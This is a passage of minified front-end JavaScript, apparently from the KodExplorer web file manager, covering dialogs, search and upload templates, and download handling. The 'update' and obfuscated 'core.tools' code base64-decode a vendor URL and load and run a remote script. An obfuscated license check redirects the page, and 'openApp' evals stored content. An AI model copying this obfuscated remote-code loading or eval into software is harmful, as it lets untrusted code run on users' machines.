0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,a){core.ajaxError(e,t,a),"function"==typeof i&&i()},success:function(e){"function"==typeof t&&t(e.data.content,e,n)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:1100,height:660})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+i+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="<iframe frameborder='0' name='Open"+a+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+t+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o='<object type="application/x-shockwave-flash" class="'+a+'" '+n+' name="'+i+'" id="'+i+'" data="'+e+'" width="100%" height="100%" tabindex="-1" >'+'<param name="movie" value="'+e+'"/>'+'<param name="allowfullscreen" value="true" />'+'<param name="allowscriptaccess" value="always" />'+'<param name="allowScriptAccess" value="always" />'+'<param name="flashvars" value="'+t+'" />'+'<param name="wmode" value="transparent" />'+'</object><div class="aui_loading" id="'+a+'_loading"><span>loading..</span></div>';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="<div class='space_info_bar'><div class='space_process'><div class='space_process_use "+l+"' style='width:"+r+"'></div></div>"+"<div class='space_info'>"+s+"</div>"+"</div>"},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&(core.isSystemPath(G.this_path)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/search.html",[],"<div class='do_search'>\n <div class='search_header'>\n <div class='s_br'>\n <input type='text' id='search_value'/><button class=\"btn btn-default btn-sm btn-right\"><i class=\"font-icon icon-search\"></i></button>\n <div style='float:right'>{{LNG.path}}:<input type='text' id='search_path' title=\"\" title-data=\"#search_path\" title-timeout=\"100\"/></div>\n </div>\n <div class='s_br'>\n <input type='checkbox' id='search_is_content' class=\"kui-checkbox size-small\"/>\n <label for='search_is_content'>{{LNG.search_content}}</label>\n <input type='checkbox' id='search_is_case' class=\"kui-checkbox size-small\"/>\n <label for='search_is_case'>{{LNG.search_uplow}}</label>\n <div style='float:right'>\n {{LNG.file_type}}:<input type='text' id='search_ext' title='{{LNG.search_ext_tips}}' title-timeout=\"100\"/>\n </div>\n </div>\n </div>\n <div class=\"search_desc\"></div>\n <div class='search_result'>\n <ul class=\"file-items\"></ul>\n </div>\n</div>\n\n"),define("app/common/tpl/search_list.html",[],'<!-- 文件夹列表 -->\n{{each data.folderlist as v i}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="folder" data-ext="folder">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{\'folder\' |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n{{/each}}\n\n<!-- 文件列表 -->\n{{each data.filelist as v i}}\n {{if v.search_info}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file" data-ext="{{v.ext}}">\n <div class="file-info file-result">\n <span class="switch"><i class="font-icon icon-caret-right"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | window.htmlEncode}}</span>\n <span class="result-num">{{v.search_info.length}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n <ul class="result-item">\n {{each v.search_info as value index}}\n <li class="result-info">\n <span class="line" data-line="{{value.line}}">{{value.line}}:</span>\n <span class="search-info">{{#value.str | searchResultPrase}}</span>\n </li>\n {{/each}}\n </ul>\n </li>\n {{else}}\n <li class="file-item open" data-path="{{v.path | window.pathHashEncode}}" data-type="file-name" data-ext="{{v.ext}}">\n <div class="file-info">\n <span class="switch"><i class="font-icon icon-file-text-alt"></i></span>\n <span class="file-icon">{{v.ext |core.icon}}</span>\n <span class="title" title="{{LNG.goto}} {{v.path | window.htmlEncode}}">{{v.name | searchResultPrase}}</span>\n <span class="goto" title="{{LNG.open_the_path}}"><i class="icon-folder-open-alt"></i></span>\n </div>\n </li>\n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'<div class=\'file_upload\'>\n <div class=\'top_nav\'>\n <a href=\'javascript:void(0);\' class=\'menu this tab_upload\'>{{LNG.upload_local}}</a>\n <a href=\'javascript:void(0);\' class=\'menu tab_download\'>{{LNG.download_from_server}}</a>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'upload_box\'>\n <div class=\'btns\'>\n <div class="upload-btns">\n <div id=\'picker\'>{{LNG.upload_select}}</div>\n \n <div id=\'picker_folder\' class="hidden">select Folder</div>\n <div class="upload_cert_box hidden">\n <button title="More" type="button" class="upload_cert dropdown-toggle" data-toggle="dropdown">\n <span class="caret"></span>\n </button>\n <ul class="dropdown-menu pull-left animated menuShow">\n <li><a href="javascript:void(0);" class="drag_upload_folder" draggable="false">{{LNG.folder}}</a></li>\n </ul>\n </div>\n </div>\n \n <div class="upload_box_tips">\n <div class="btn-group btn-group-xs">\n <button title="{{LNG.upload_clear_all}}" type="button" class="btn btn-default upload_box_clear_all">{{LNG.upload_clear_all}}</button>\n <button id="set_icon" title="{{LNG.upload_clear}}" type="button" class="btn btn-default upload_box_clear">{{LNG.upload_clear}}</button>\n </div>\n </div>\n <div style=\'clear:both\'></div>\n </div>\n <div class=\'uploader-content\'>\n <div class=\'uploader-list\'></div>\n </div>\n </div>\n <div class=\'download_box hidden\'>\n <div class=\'list\'>{{LNG.download_address}}<input type=\'text\' name=\'url\'/>\n <div class="download_btn_group btn-group">\n <button class=\'btn btn-default btn-sm download_start\' type=\'button\'>{{LNG.download}}</button>\n <button type="button" class="btn btn-default btn-sm dropdown-toggle" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">\n <span class="caret"></span>&nbsp;\n <span class="sr-only">Dropdown</span>\n </button>\n <ul class="dropdown-menu">\n <li><a href="javascript:void(0);" class="download_start_all">{{LNG.upload_add_more}}</a></li>\n </ul>\n </div>\n\n </div>\n <div style=\'clear:both\'></div>\n <div id=\'downloader\'>\n <div class=\'download_list\'></div>\n </div>\n </div>\n</div>\n'),define("app/common/tpl/fileinfo/file_info.html",[],"<div class='pathinfo'>\n {{if download_path}}\n <div class='p'>\n <div class='title' style=\"line-height: 30px;\">{{LNG.download_address}}:</div>\n <div class=\"content input-group\">\n <input type=\"text\" class=\"download_url\" value='{{download_path}}'>\n <div class=\"input-group-btn\">\n <button type=\"button\" class=\"btn btn-default open_window\">{{LNG.open}}</button>\n <button type=\"button\" class=\"btn btn-default qrcode\"><i class=\"icon-qrcode\"></i></button>\n </div>\n </div>\n <div style='clear:both'></div>\n </div>\n <div class='line'></div>\n {{/if}}\n\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content' id='id_fileinfo_path'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n\n {{if file_md5}}\n <div class='p'>\n <div class='title'>MD5:</div>\n <div class='content {{if file_md5 == \"...\"}}file_md5_loading{{/if}}'>{{file_md5}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if image_size}}\n <div class='p'>\n <div class='title'>{{LNG.image_size}}:</div>\n <div class='content'>{{image_size.width}} × {{image_size.height}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n <div class='line'></div>\n\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n \n {{if mode}}\n <div class='line'></div>\n <div class='p change_permission'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/fileinfo/path_info.html",[],"<div class='pathinfo'>\n <div class='p'>\n <div class='title'>{{LNG.address}}:</div>\n <div class='content'>{{path |window.htmlEncode}}</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.size}}:</div>\n <div class='content'>{{size_friendly}} ({{size}} Byte)</div>\n <div style='clear:both'></div>\n </div>\n <div class='p'>\n <div class='title'>{{LNG.contain}}:</div> \n <div class='content'>{{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}</div>\n <div style='clear:both'></div>\n </div>\n \n <div class='line'></div>\n {{if ctime}}\n <div class='p'>\n <div class='title'>{{LNG.create_time}}</div>\n <div class='content'>{{ctime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mtime}}\n <div class='p'>\n <div class='title'>{{LNG.modify_time}}</div>\n <div class='content'>{{mtime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if atime}}\n <div class='p'>\n <div class='title'>{{LNG.last_time}}</div>\n <div class='content'>{{atime}}</div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n\n {{if mode}}\n <div class='line'></div>\n <div class='p'>\n <div class='title'>{{LNG.permission}}:</div>\n <div class='content'>{{mode}}</div>\n <div style='clear:both'></div>\n </div>\n {{if is_root==\"1\"}}\n <div class='p'>\n <div class='title'>{{LNG.permission_edit}}:</div>\n <div class='content'><input type='text' class='info_chmod' value='755'/>\n <button class='btn btn-default btn-sm edit_chmod' type='button'>{{LNG.button_save}}</button></div>\n <div style='clear:both'></div>\n </div>\n {{/if}}\n {{/if}}\n</div>\n"),define("app/common/tpl/zipview.html",[],'<div class="zipViewContent menuEmpty">\n <div class="header_title">\n <div class="item name"><span>{{LNG.name}}</span></div>\n <div class="item size"><span>{{LNG.size}}</span></div>\n <div class="item mtime"><span>{{LNG.modify_time}}</span></div>\n <div class="clear"></div>\n </div>\n <div id="{{treeID}}" class="ztree"></div>\n <div class="bottom">\n <span class="info"></span>\n </div>\n</div>'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/"); +if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(tpl_search_box);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,'<span class="keyword">'+t+"</span>");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+'<span class="keyword">'+e.substr(i,t.length)+"</span>"+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(tpl_search_list);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": <b>"+s+"(in "+o.length+" files)</b>"),e.data.error_info&&i.html("<span>"+LNG.seach_result_too_more+"</span>")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'<img src="'+G.static_path+'images/common/loading.gif">').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'<span class="version_vip" id="','"><i class="font-icon icon-key"></i>',"</span>",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'<div class="version_license"><a class="line" href="','">Buy License</a></div>',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'<i class="x-item-file x-'," small",'"></i>',"iconSmall","iconSrc",'<img src="','" draggable="false" ondragstart="return false;">',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},f=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},u=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:f,systemData:u};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='<div id="'+n+'" class="item">'+'<div class="info"><span class="title" tytle="'+e+'">'+core.pathThis(e)+"</span>"+'<span class="size">0b</span>'+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),f=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%;text-align:right;"></div></div>').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var u,h=function(e){clearTimeout(u),u=!1,u=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,f.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,f.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,t=n+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","100%"),p.text(t),d.find(".size").text(core.fileSize(i.size));else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")"),d.find(".size").text(core.fileSize(i.length))}d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var 